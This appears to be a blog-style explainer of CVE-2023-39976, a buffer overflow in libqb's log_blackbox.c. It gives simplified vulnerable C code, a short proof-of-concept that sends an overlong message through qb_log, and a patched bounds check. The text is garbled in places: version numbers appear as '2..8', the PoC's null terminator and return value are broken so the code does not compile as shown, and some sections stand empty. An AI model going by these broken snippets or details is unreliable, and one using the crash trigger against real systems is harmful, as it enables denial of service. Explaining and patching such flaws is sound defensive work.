CVE-2023-39976 - Critical Buffer Overflow in libqb’s log_blackbox.c Explained (with Exploit Example)

If you’re working with cluster management or High Availability software, you might have come across libqb. It’s a common library that provides logging, IPC, and other utilities for projects like *Pacemaker* or *Corosync*.

But – there’s a major problem found in libqb before version 2..8. A nasty buffer overflow bug lurked in the way it handles logging through log_blackbox.c. In this guide, we’ll break down CVE-2023-39976, show you real code snippets, link to the primary source, and even walk you through a potential exploit. No jargon, just straight talk.

What is CVE-2023-39976?

CVE-2023-39976 affects libqb (all versions before 2..8). The flaw? When a user logs a huge message, the library doesn’t correctly count the size of a header it adds, allowing data to spill past the end of a buffer. Attackers can use this to crash apps using libqb, or maybe even run code (worst case).

Breaking Down the Bug

Let’s look at how the buffer overflow happens. Here’s a simplified version of the vulnerable code:

Vulnerable Code Example

// This code is simplified for clarity
void log_blackbox_log(const char *msg, size_t msg_len) {
    char buffer[8096];
    int header_len;

    // Compose a log line header (timestamp etc.)
    header_len = snprintf(buffer, sizeof(buffer), "[%ld] ", time(NULL));

    // Potentially dangerous copy!
    memcpy(buffer + header_len, msg, msg_len); // <-- Problem!
    // Why? Doesn't check that (header_len + msg_len) fits in buffer!
}

The Problem:
- header_len space is used for the header, but NOT subtracted from the remaining buffer size before copying the log message in.

A user (maybe even unprivileged) could send an overlong log message and trigger the bug.

- Remote exploitability depends on how your software uses libqb (sometimes, attackers can control log input).

Exploit Example (PoC)

Warning:
Running this PoC may crash your test application. Do not run on production!

#include <stdio.h>
#include <string.h>
#include "qb/qb_log.h"

int main() {
    // Create an overly long message (8192 bytes)
    char msg[8192];
    memset(msg, 'A', sizeof(msg) - 1);
    msg[sizeof(msg) - 1] = '\';

    // This will cause the overflow in vulnerable versions
    qb_log(LOG_INFO, "%s", msg);

    printf("Overflowed?\n");

    return ;
}

What happens?

Official Patch

The fix is simple: include the header length in the buffer boundary check.

Patched Code Example

size_t space_left = sizeof(buffer) - header_len;
if (msg_len > space_left)
    msg_len = space_left;

memcpy(buffer + header_len, msg, msg_len); // Now safe!

Reference:
- libqb commit fixing CVE-2023-39976
- libqb release notes 2..8
- NVD Entry

How to Stay Safe

Update libqb ASAP.

If you use clustering tools (Pacemaker, Corosync, etc), make sure they _also_ use safe libqb.

If you maintain open source software that logs user input:

Conclusion

CVE-2023-39976 exposes a classic yet serious bug—forgetting to check the combined header and message won’t fit in a buffer. Mistakes like this are why regular code reviews and fuzzing matter. If you use libqb for logging, update yesterday.

Stay safe out there, and always check those buffer boundaries.

References

- libqb GitHub Security Advisory
- libqb Fix Commit
- CVE-2023-39976 on NVD

Timeline

Published on: 08/08/2023 06:15:00 UTC
Last modified on: 08/24/2023 03:15:00 UTC